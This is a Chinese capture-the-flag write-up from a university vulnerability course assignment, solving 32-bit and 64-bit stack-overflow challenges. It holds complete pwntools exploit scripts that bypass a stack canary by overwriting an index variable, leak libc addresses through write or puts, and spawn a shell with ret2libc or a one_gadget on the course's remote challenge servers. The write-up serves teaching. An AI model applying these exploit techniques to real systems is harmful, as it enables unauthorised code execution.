两个栈溢出小题

32位题目地址:nc 202.112.51.157 9001
64位题目地址:nc 202.112.51.157 9002

题目文件:https://xuanxuanblingbling.github.io/assets/pwn/pwn.zip

本题来自于清华大学张超老师的软件漏洞挖掘与利用的课程作业

32位

检查保护

检查保护,栈不可执行,栈有canary防护

➜ file vul32
vul32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=8f8a04cdb594acc212782825aa2100417be4b091, not stripped
➜  checksec vul32
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000

漏洞点

拽入ida,主函数会调用dovuln函数,看名字也知道是漏洞函数

int dovuln()
{
  int v0; // eax
  char buf; // [esp+4h] [ebp-44h]
  char v3[51]; // [esp+5h] [ebp-43h]
  int v4; // [esp+38h] [ebp-10h]
  unsigned int v5; // [esp+3Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(v3, 0, 0x30u);
  v4 = 0;
  while ( 1 )
  {
    if ( read(0, &buf, 1u) != 1 )
      exit(0);
    if ( buf == 10 )
      break;
    v0 = v4++;
    v3[v0] = buf;
  }
  return puts(v3);
}

v5是4个字节canary,然后用v4++做为数组的下标,利用read函数循环给栈上的数组v3赋值,当收到换行符的时候停止赋值,很明显存在栈溢出,那么如何绕过canary保护呢?我们可以观察一下栈的结构,在ida中双击局部变量即可进入如下视图:

-00000044 buf             db ?
-00000043 v3              db 51 dup(?)
-00000010 v4              dd ?
-0000000C v5              dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

v5即canary,能保护其地址往上的内存,这里的视图是往下的。所以当v3发生溢出的时候,v4这个变量是可以被覆盖掉的,而v4这个变量本身是要赋值的数组的下标,所以可以直接修改v4的值,使其接下来要写入的内存v3[v4]正好跳过canary继续往下写,则这道题到此就变成一道没有canary保护的栈溢出啦!是不是这样呢?我们做一个实验:

➜  python -c "print '1'*1000" | ./vul32
Plz input something:
1111111111111111111111111111111111111111111111111111
➜  python -c "print 'A'*1000" | ./vul32
Plz input something:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
[1]    2536 done                              python -c "print 'A'*1000" | 
       2537 segmentation fault (core dumped)  ./vul32

给程序1000个字符A,报错退出,给1000个字符1,居然没事,为什么?因为字符1的ascii为0x31,即49,所以当覆盖到v4时,继续从v3[49]处继续覆盖,然后继续用49覆盖v4,所以程序一直可以运行不会崩掉。那要把v4写成什么值呢?我们可以利用上图ida分析的结果直接计算,也可以利用gdb进行调试然后直接看出应该赋值给多少。v3的51个字节,然后是v4的4个字节,然后是v5的4个字节,然后闲置的8个字节,之后便可覆盖ebp,总共是51+4+4+8=67,为字母C。

调试问题

这里我们用gdb调试一下看看是否能控制ebp和eip,这里发现一个pwntool的神坑,琢磨了一个多小时为啥断点断不下,才发现我如果这么写,断点就断不下

from pwn import *

io = process("./vul32")
gdb.attach(io,"b * 0x08048641")

payload = 'a'*51+'C'+p32(0xb19b00b5)+p32(0xdeadbeef)
io.recv()
io.sendline(payload)
io.interactive()

但是如果我这么写,断点就能断下

from pwn import *

myelf  = ELF("./vul32")
io = process(myelf.path)
gdb.attach(io,"b * 0x08048641")

payload = 'a'*51+'C'+p32(0xb19b00b5)+p32(0xdeadbeef)
io.recv()
io.sendline(payload)
io.interactive()

不知道为啥,不过刚开始用pwntools的gdb模块时还有一种情况经常会导致调试失败,就是最后没有调用interactive()等待,这样的话python进程运行完就会退出,启动的被调试的进程也会退出导致无法调试。总之用ELF函数,然后再用path属性传给process函数时,调试可以正常进行。

劫持EIP和EBP

from pwn import *

myelf  = ELF("./vul32")
io = process(myelf.path)
gdb.attach(io,"b * 0x08048641")

payload = 'a'*51+'C'+p32(0xb19b00b5)+p32(0xdeadbeef)
payload += p32(0)+p32(1)+p32(2)+p32(3)

io.recv()
io.sendline(payload)
io.interactive()

按照如上脚本启动调试,在调试窗口用命令c到达我们的断点处,然后用n命令单步执行,然后直接一直按回车就可以继续单步执行,回车是重复上一条命令,执行完leave后可见EBP已经覆盖为0xb19b00b5

[----------------------------------registers-----------------------------------]
EAX: 0x35 ('5')
EBX: 0x0 
ECX: 0x0 
EDX: 0xf7ef8870 --> 0x0 
ESI: 0xf7ef7000 --> 0x1b1db0 
EDI: 0xf7ef7000 --> 0x1b1db0 
EBP: 0xb19b00b5 
ESP: 0xffde93cc --> 0xdeadbeef 
EIP: 0x804865b (<dovuln+144>:	ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048653 <dovuln+136>:	je     0x804865a <dovuln+143>
   0x8048655 <dovuln+138>:	call   0x8048460 <__stack_chk_fail@plt>
   0x804865a <dovuln+143>:	leave  
=> 0x804865b <dovuln+144>:	ret    
   0x804865c <main>:	lea    ecx,[esp+0x4]
   0x8048660 <main+4>:	and    esp,0xfffffff0
   0x8048663 <main+7>:	push   DWORD PTR [ecx-0x4]
   0x8048666 <main+10>:	push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffde93cc --> 0xdeadbeef 
0004| 0xffde93d0 --> 0x0 
0008| 0xffde93d4 --> 0x1 
0012| 0xffde93d8 --> 0x2 
0016| 0xffde93dc --> 0x3 
0020| 0xffde93e0 --> 0xf7ef7000 --> 0x1b1db0 
0024| 0xffde93e4 --> 0xf7ef7000 --> 0x1b1db0 
0028| 0xffde93e8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804865b in dovuln ()

继续执行,可见EIP已经覆盖为0xdeadbeef

[----------------------------------registers-----------------------------------]
EAX: 0x35 ('5')
EBX: 0x0 
ECX: 0x0 
EDX: 0xf7ef8870 --> 0x0 
ESI: 0xf7ef7000 --> 0x1b1db0 
EDI: 0xf7ef7000 --> 0x1b1db0 
EBP: 0xb19b00b5 
ESP: 0xffde93d0 --> 0x0 
EIP: 0xdeadbeef
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xffde93d0 --> 0x0 
0004| 0xffde93d4 --> 0x1 
0008| 0xffde93d8 --> 0x2 
0012| 0xffde93dc --> 0x3 
0016| 0xffde93e0 --> 0xf7ef7000 --> 0x1b1db0 
0020| 0xffde93e4 --> 0xf7ef7000 --> 0x1b1db0 
0024| 0xffde93e8 --> 0x0 
0028| 0xffde93ec --> 0xf7d5d637 (<__libc_start_main+247>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xdeadbeef in ?? ()

可以看到我们已经成功的控制了EIP,可以控制程序流了,不过这就万事大吉了么?劫持了程序流之后劫持到哪才能利用呢?

ret2libc

通过刚才的分析知道,我们可以已经成功劫持EBP和EIP,并且和栈溢出一样,我们还控制了栈顶的数据。但是这题栈不可执行,不能把shellcode写在栈里,这个ELF文件里也没有后门函数,也没有int 0x80指令(0xcd 0x80),那么就只能想办法去跳到libc中函数去执行,那么首先必须要知道的就是libc基址。所以可以去利用题目中本身有的函数,比如write函数,将返回地址覆盖plt表中为write函数的地址,然后控制栈上的参数为一个got表中的libc函数的地址,返回地址接main函数,这样用write函数打印出一个libc函数的真实地址,这里我用的函数是read,用这个地址减去这个函数再libc中的偏移,就可以得到libc的基址,而且当这个动作完成之后我们又能回到main函数然后继续去利用这个溢出漏洞去控制程序流,我们就可以用刚才的得到的libc的基址算出其中的execve函数的真实位置,算出”/bin/sh”字符串的真实位置,然后重新布置栈,继续栈溢出就可以getshell啦!

当然也可以用one_gadget,即知道libc的基址,直接跳到one_gadget的地址即可,不过这个libc的有的限制达不到,基本都是需要控制esi,虽然可以通过ROP的方式做到,不过这题还是乖乖的用ret2libc的方法布置栈吧。

➜   one_gadget libc-2.23.so
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

相关参考:ret2libc-ctfwiki

exp

from pwn import *
context(arch='i386',os='linux',log_level='error')

#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("./libc-2.23.so")
myelf = ELF("./vul32")

io = remote("202.112.51.157",9001)
# io = process(myelf.path)
# gdb.attach(io,"b * main")

libc_bin_sh = libc.search("/bin/sh").next()
libc_read = libc.symbols["read"]
libc_exec = libc.symbols["execve"]

plt_write = myelf.plt["write"]
got_read  = myelf.got["read"]
elf_main  = myelf.symbols["main"]

payload = ""
payload += 'A'*51+"C"
payload += p32(0)+p32(plt_write)+p32(elf_main)
payload += p32(1)+p32(got_read)+p32(4)

io.recv()
io.sendline(payload)
io.recvline()
leak_read = u32(io.recv(4))
io.recv()

libc_base = leak_read - libc_read
leak_exec = libc_base + libc_exec
leak_bin_sh = libc_base +libc_bin_sh

payload = ""
payload += 'B'*51+"C"
payload += p32(0)+p32(leak_exec)+p32(elf_main)
payload += p32(leak_bin_sh)+p32(0)+p32(0)

io.sendline(payload)
io.sendline("cat /flag")
io.interactive()

flag{__you_are_so_Cu7e_ls}

64位

区别

题目代码是一样的,只不过是编译的时候没有用-m32编译选项,通过分析,发现栈上的返回地址和v3变量的偏移发生了变化。而且32位下的利用方式不再有效,因为64位下函数的参数传递不是通过栈,而是通过寄存器。而我们能控制栈上的数据,所以需要利用ROP把栈上布置好的数据想办法pop到寄存器里,然后去调用execve或者是one_gadget,就可以了。首先我们看看栈的变化:

-000000000000003F v3              db 51 dup(?)
-000000000000000C v4              dd ?
-0000000000000008 v5              dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

v5的canary变成了8个字节,所以是51+8+4=63,就是’?’这个字符,即控制v4为’?’

ROP

那么如何泄露一个libc函数地址呢,32位下我用的是write函数,有三个参数,64位下前三个参数所在到的寄存器是rdi,rsi,rdx,利用ROPgadget寻找相应指令

➜  ROPgadget --binary vul64 | grep "pop rdi"
0x0000000000400933 : pop rdi ; ret
➜  ROPgadget --binary vul64 | grep "pop rsi"
0x0000000000400931 : pop rsi ; pop r15 ; ret
➜  ROPgadget --binary vul64 | grep "pop rdx"

发现没有找到pop rdx,而且调试发现如果不修改rdx时,劫持到这之后rdx的值非常大,显然会出错,那么我们就换个函数puts,不过puts函数遇到0x00就会停止,是否能成功的输出got表中的函数地址呢?我们尝试一下,利用如下代码:


from pwn import *
context(arch='amd64',os='linux',log_level='debug')

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 
myelf = ELF("./vul64")
io = process(myelf.path)
libc_read = libc.symbols['read']
plt_puts = myelf.plt['puts']
got_read = myelf.got['read']
elf_main = myelf.symbols['main']

print "libc_read: "+str(hex(libc_read))

rop_pop_rdi = 0x400933

payload = ""
payload += 'A'*51+'?'
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(got_read)
payload += p64(plt_puts)
payload += p64(elf_main)

io.recv()
io.sendline(payload)
io.recv()
io.interactive()

发现如图:

image

因为八个字节的是小端存储的,所以除了高位的两个字节的0x00,没有打印出来,剩下的信息是完整。这里我挑的函数是read,最低的一个字节是0x50。当然如果你挑那个函数最低位正好是0x00,也许你应该换个函数试试。所以这里打印了6个字节的函数地址,一会处理的时候要小心,从8个字节的输出里搞出6个字节。然后就是找找有没有可以用的one_gadget啦:

➜  one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

第一个好像不行,测试最后一个可以,完整的exp如下

exp

from pwn import *
context(arch='amd64',os='linux',log_level='error')

#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 
libc = ELF("./libc-2.23.so")
myelf = ELF("./vul64")

io = remote("202.112.51.157",9002)
# io = process(myelf.path)
# gdb.attach(io,"b * main")

libc_read = libc.symbols['read']
plt_puts = myelf.plt['puts']
got_read = myelf.got['read']
elf_main = myelf.symbols['main']

rop_pop_rdi = 0x400933
rop_one_gadget = 0xf1147

payload = ""
payload += 'A'*51+'?'
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(got_read)
payload += p64(plt_puts)
payload += p64(elf_main)

io.recv()
io.sendline(payload)
io.recvline()

leak_read = u64(io.recv(8))&0x0000ffffffffffff
libc_base = leak_read - libc_read
one_gadget = libc_base + rop_one_gadget

payload = ""
payload += 'A'*51+'?'
payload += p64(0)
payload += p64(one_gadget)

io.recv()
io.sendline(payload)
io.sendline("cat /flag")
io.interactive()

flag{__R0p_1s_5unn9}